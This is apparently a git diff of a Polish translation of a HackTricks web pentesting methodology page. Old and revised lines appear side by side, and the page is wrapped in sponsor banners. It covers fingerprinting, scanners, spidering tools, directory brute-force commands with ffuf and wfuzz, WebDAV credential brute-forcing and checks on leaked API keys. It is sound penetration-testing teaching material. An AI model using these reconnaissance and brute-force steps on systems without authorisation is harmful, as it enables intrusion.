* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
@ -16,13 +16,13 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera w dziedzinie hakerstwa** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisemna, jak i mówiona_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Usługa internetowa jest najbardziej **powszechną i rozległą usługą**, w której istnieje wiele **różnych rodzajów podatności**.
|
||||
Usługa internetowa to najbardziej **powszechna i rozległa usługa**, w której istnieje wiele **różnych rodzajów podatności**.
|
||||
|
||||
**Domyślny port:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
|
@ -51,13 +51,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Czy istnieje **specjalistyczne narzędzie skanujące** do uruchomienia (np. wpscan)?
|
||||
* [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiesz, czy znajdą coś ciekawego.
|
||||
* [ ] Rozpocznij od **początkowych sprawdzeń**: **robots.txt**, **mapa witryny (sitemap)**, błąd **404** i skan **SSL/TLS** (jeśli HTTPS).
|
||||
* [ ] Rozpocznij **przeglądanie strony**: Czas znaleźć wszystkie możliwe **pliki, foldery** i **parametry** używane. Sprawdź również **specjalne znaleziska**.
|
||||
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, należy go przeszukać._
|
||||
* [ ] **Próba siłowego przeglądania katalogów**: Spróbuj siłowo przeszukać wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**.
|
||||
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, należy go siłowo przeszukać._
|
||||
* [ ] Rozpocznij **indeksowanie** strony internetowej: Czas **odnaleźć** wszystkie możliwe **pliki, foldery** i **parametry** używane. Sprawdź również **specjalne znaleziska**.
|
||||
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub indeksowania odkryjesz nowy katalog, powinieneś go zindeksować._
|
||||
* [ ] **Próba siłowa katalogów**: Spróbuj siłowo przejrzeć wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**.
|
||||
* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub indeksowania odkryjesz nowy katalog, powinieneś go siłowo przetestować._
|
||||
* [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy można znaleźć **kopie zapasowe** odkrytych plików, dodając powszechne rozszerzenia kopii zapasowych.
|
||||
* [ ] **Siłowe przeglądanie parametrów**: Spróbuj znaleźć **ukryte parametry**.
|
||||
* [ ] Gdy zidentyfikujesz wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje związanych z nimi **podatności**.
|
||||
* [ ] **Siłowe testowanie parametrów**: Spróbuj **odnaleźć ukryte parametry**.
|
||||
* [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje związanych z nimi **podatności**.
|
||||
* [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Wersja serwera (Podatny?)
|
||||
|
@ -72,7 +72,7 @@ whatweb -a 3 <URL> #Aggresive
|
|||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Szukaj **podatności aplikacji internetowej** **w wersji**.
|
||||
Szukaj **podatności aplikacji internetowej** **w wersji**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
|
||||
### **Sprawdź, czy istnieje WAF**
|
||||
|
||||
|
@ -82,7 +82,7 @@ Szukaj **podatności aplikacji internetowej** **w wersji**.
|
|||
|
||||
### Triki technologii internetowych
|
||||
|
||||
Kilka **trików** do **znajdowania podatności** w różnych znanych **technologiach**:
|
||||
Kilka **trików** do **znajdowania podatności** w różnych znanych **technologiach** używanych:
|
||||
|
||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
* [**Apache**](apache.md)
|
||||
|
@ -116,15 +116,15 @@ Kilka **trików** do **znajdowania podatności** w różnych znanych **technolog
|
|||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Miej na uwadze, że ta sama **domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
|
||||
Jeśli aplikacja internetowa używa jakiejkolwiek znanej **technologii/platformy wymienionej wcześniej** lub **innej**, nie zapomnij **szukać w Internecie** nowych trików (i daj mi znać!).
|
||||
_Miej na uwadze, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
|
||||
Jeśli aplikacja internetowa używa **jakiejkolwiek znanej technologii/platformy wymienionej wcześniej** lub **innej**, nie zapomnij **szukać w Internecie** nowych trików (i daj mi znać!).
|
||||
|
||||
### Przegląd kodu źródłowego
|
||||
|
||||
Jeśli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia **testu White box** aplikacji na własną rękę, istnieje **kilka informacji**, które mogą być **przydatne** do obecnego **testu Black-Box**:
|
||||
|
||||
* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji** dostępne przez sieć?
|
||||
* Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
|
||||
* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji dostępne** przez sieć?
|
||||
* Jak i gdzie są zapisane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
|
||||
* Czy **hasła** są w **czystym tekście**, **zaszyfrowane** lub jaki **algorytm haszowania** jest używany?
|
||||
* Czy jest używany **klucz główny** do szyfrowania czegoś? Jaki **algorytm** jest używany?
|
||||
* Czy możesz **uzyskać dostęp do któregokolwiek z tych plików** wykorzystując jakąś podatność?
|
||||
|
@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
Jeśli jest używany CMS, nie zapomnij **uruchomić skanera**, być może znajdziesz coś interesującego:
|
||||
|
||||
- [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
- [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** strony internetowe w poszukiwaniu problemów z bezpieczeństwem. (GUI)\
|
||||
- [**CMSScan**](https://github.com/ajinabraham/CMSScan): Strony [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** w poszukiwaniu problemów zabezpieczeń. (GUI)\
|
||||
- [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||
- **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **lub** [**(M)oodle**](moodle.md)\
|
||||
- [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
|
@ -187,21 +187,21 @@ Serwery WWW mogą **zachowywać się niespodziewanie**, gdy do nich wysyłane s
|
|||
* Otwórz **fałszywe strony** takie jak /cokolwiek\_fake.php (.aspx,.html,.itp)
|
||||
* Dodaj "\[]", "]]" i "\[\[" w **wartościach ciasteczka** i **wartościach parametrów** aby wywołać błędy
|
||||
* Wygeneruj błąd, wpisując dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL**
|
||||
* Spróbuj użyć **różnych czasowników HTTP** jak PATCH, DEBUG lub błędny jak FAKE
|
||||
* Spróbuj użyć **różnych czasowników HTTP** takich jak PATCH, DEBUG lub błędny, np. FAKE
|
||||
|
||||
#### **Sprawdź, czy możesz przesyłać pliki (**[**metoda PUT, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w głównym folderze, spróbuj:
|
||||
Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w folderze głównym, spróbuj:
|
||||
|
||||
* **Próbuj siłowo** dane uwierzytelniające
|
||||
* **Próbuj siłowo** hasła
|
||||
* **Prześlij pliki** za pomocą WebDav do **pozostałych znalezionych folderów** na stronie internetowej. Możesz mieć uprawnienia do przesyłania plików do innych folderów.
|
||||
|
||||
### **Luki w SSL/TLS**
|
||||
### **Układy SSL/TLS**
|
||||
|
||||
* Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na atak typu MitM**
|
||||
* Jeśli aplikacja **wysyła poufne dane (hasła) za pomocą protokołu HTTP**. To jest wysokie ryzyko.
|
||||
* Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na ataki typu MitM**
|
||||
* Jeśli aplikacja **wysyła poufne dane (hasła) za pomocą HTTP**. To jest to wysokie ryzyko.
|
||||
|
||||
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty tego rodzaju luki prawdopodobnie nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia luk w zabezpieczeniach:
|
||||
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia podatności:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -215,44 +215,44 @@ Informacje o podatnościach SSL/TLS:
|
|||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
### Przeglądanie stron
|
||||
|
||||
Uruchom pewnego rodzaju **pająka** w sieci. Celem pająka jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego należy wykorzystać przeszukiwanie sieci oraz zewnętrzne źródła, aby znaleźć jak najwięcej prawidłowych ścieżek.
|
||||
Uruchom jakiś rodzaj **pająka** w sieci. Celem pająka jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego należy użyć przeglądania stron internetowych i zewnętrznych źródeł, aby znaleźć jak najwięcej prawidłowych ścieżek.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Pająk HTML, LinkFinder w plikach JS i zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Pająk HML, z LinkFider dla plików JS i Archive.org jako zewnętrzne źródło.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Pająk HTML, wskazuje również "soczyste pliki".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny pająk HTML w wierszu poleceń. Szuka również w Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Wystarczy wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny pająk HTML w wierszu poleceń. Szuka także w Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Możesz po prostu wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Pająk HTML z możliwościami renderowania JS. Jednak wygląda na to, że nie jest rozwijany, skompilowana wersja jest stara, a obecny kod nie kompiluje się.
|
||||
* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl).
|
||||
* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl)
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie adresy URL z parametrami i je wymieni.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): Pająk HTML z możliwościami renderowania JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Pająk HTML, z możliwościami upiększania JS zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również spojrzeć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest nakładką na LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i osadzonych plikach javascript. Przydatne dla łowców błędów, drużyn czerwonych i ninja bezpieczeństwa informacji.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i osadzonych plikach javascript. Przydatne dla łowców błędów, drużyn czerwonych, ninja bezpieczeństwa informacji.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt python 2.7 używający Tornado i JSBeautifier do analizowania względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest rozwijany.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dla danego pliku (HTML) wyodrębni adresy URL z niego, używając sprytnego wyrażenia regularnego do znalezienia i wyodrębnienia względnych adresów URL z brzydkich (zmniejszonych) plików.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS, korzystając z kilku narzędzi.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS za pomocą kilku narzędzi.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez wyświetlania i drukuje wszystkie załadowane adresy URL do załadowania strony.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez interfejsu i drukuje wszystkie załadowane adresy URL, aby załadować stronę.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści łączące kilka opcji poprzednich narzędzi
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które po podaniu adresu .js.map URL uzyska uporządkowany kod JS
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które podając adres URL .js.map, uzyska uporządkowany kod JS
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Jest to narzędzie używane do odkrywania punktów końcowych dla określonego celu.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuje (nawet poprzez wypełnianie formularzy) i znajduje również wrażliwe informacje, korzystając z określonych wyrażeń regularnych.
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeglądaj (nawet poprzez wypełnianie formularzy) i znajduj również informacje poufne, korzystając z określonych wyrażeń regularnych.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny pająk GUI do bezpieczeństwa sieciowego zaprojektowany dla profesjonalistów cyberbezpieczeństwa.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Jest to pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Jest to pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych ciekawych danych z kodu źródłowego JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste rozszerzenie **Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu utworzenia niestandardowej listy słów do fuzzowania i wyliczania.
|
||||
|
||||
### Brute Force katalogów i plików
|
||||
### Przemierzanie katalogów i plików metodą brutalnej siły
|
||||
|
||||
Rozpocznij **brute force** od katalogu głównego i upewnij się, że **brute force** jest wykonywany na **wszystkich** znalezionych **katalogach** za pomocą **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonać to **rekurencyjnie** i dołączyć na początku używanej listy słów nazwy znalezionych katalogów).\
|
||||
Zacznij **przemierzać** od katalogu głównego i upewnij się, że **przemierzasz wszystkie znalezione katalogi** za pomocą **tej metody** oraz wszystkie katalogi **odkryte** podczas **przeglądania stron** (możesz to zrobić **rekurencyjnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\
|
||||
Narzędzia:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Zawarte w Kali, **stare** (i **wolne**), ale funkcjonalne. Pozwalają na automatyczne podpisywanie certyfikatów i rekurencyjne wyszukiwanie. Zbyt wolne w porównaniu z innymi opcjami.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na automatyczne podpisywanie certyfikatów, ale** umożliwia rekurencyjne wyszukiwanie.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, nie ma funkcji rekurencyjnego wyszukiwania.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, nie ma rekurencyjnego wyszukiwania.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, obsługuje rekurencyjne wyszukiwanie.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
|
@ -264,9 +264,9 @@ Narzędzia:
|
|||
**Polecane słowniki:**
|
||||
|
||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* Słownik dołączony do [**Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [**Dirsearch** dołączony słownik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Słowniki Assetnote](https://wordlists.assetnote.io)
|
||||
* [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
* raft-large-directories-lowercase.txt
|
||||
* directory-list-2.3-medium.txt
|
||||
|
@ -275,30 +275,31 @@ Narzędzia:
|
|||
* [https://github.com/google/fuzzing/tree/master/dictionaries](https://github.com/google/fuzzing/tree/master/dictionaries)
|
||||
* [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll)
|
||||
* [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
|
||||
* [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths)
|
||||
* _/usr/share/wordlists/dirb/common.txt_
|
||||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutalnej siły lub przeszukiwania, należy go poddać atakowi brutalnej siły._
|
||||
_Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutalnego lub przeszukiwania, należy go poddać atakowi brutalnemu._
|
||||
|
||||
### Co sprawdzić w każdym znalezionym pliku
|
||||
|
||||
* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcia.
|
||||
* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Powszechne warianty nazw kopii zapasowych to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również skorzystać z narzędzi [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcie
|
||||
* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Powszechne warianty nazewnictwa kopii zapasowych to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również skorzystać z narzędzi [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym pliku wykonywalnym na stronie internetowej.
|
||||
* _Wszystkie domyślne listy słów Arjuna:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner „params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote „parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de „params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Komentarze:** Sprawdź komentarze we wszystkich plikach, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**.
|
||||
* Jeśli bawisz się w **CTF**, „powszechnym” trikiem jest **ukrycie informacji** wewnątrz komentarzy na **prawej** **stronie** **strony** (używając **setek** **spacji**, aby nie widzieć danych podczas otwierania kodu źródłowego w przeglądarce). Inna możliwość to użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
|
||||
* Jeśli grasz w **CTF**, „powszechnym” trikiem jest **ukrycie** **informacji** w komentarzach na **prawej** **stronie** **strony** (używając **setek** **spacji**, aby nie widzieć danych podczas otwierania kodu źródłowego w przeglądarce). Inna możliwość to użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
|
||||
* **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak korzystać z kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Klucze API Google: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) do sprawdzenia, do których interfejsów API ma dostęp klucz.
|
||||
* **S3 Buckets**: Podczas przeszukiwania zobacz, czy jakikolwiek **poddomena** lub **link** jest powiązany z jakimś **kubłem S3**. W takim przypadku [**sprawdź** **uprawnienia** kubła](buckets/).
|
||||
* Klucze Google API: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz skorzystać z projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do których interfejsów API ma dostęp klucz.
|
||||
* **S3 Buckets**: Podczas przeszukiwania zwróć uwagę, czy jakikolwiek **poddomena** lub **link** jest powiązany z jakimś **kubłem S3**. W takim przypadku [**sprawdź** **uprawnienia** kubła](buckets/).
|
||||
|
||||
### Specjalne znaleziska
|
||||
|
||||
**Podczas** przeprowadzania **przeszukiwania** i **ataków brutalnej siły** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
|
||||
**Podczas** przeszukiwania i **atakowania brutalnego** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
|
||||
|
||||
**Interesujące pliki**
|
||||
|
||||
|
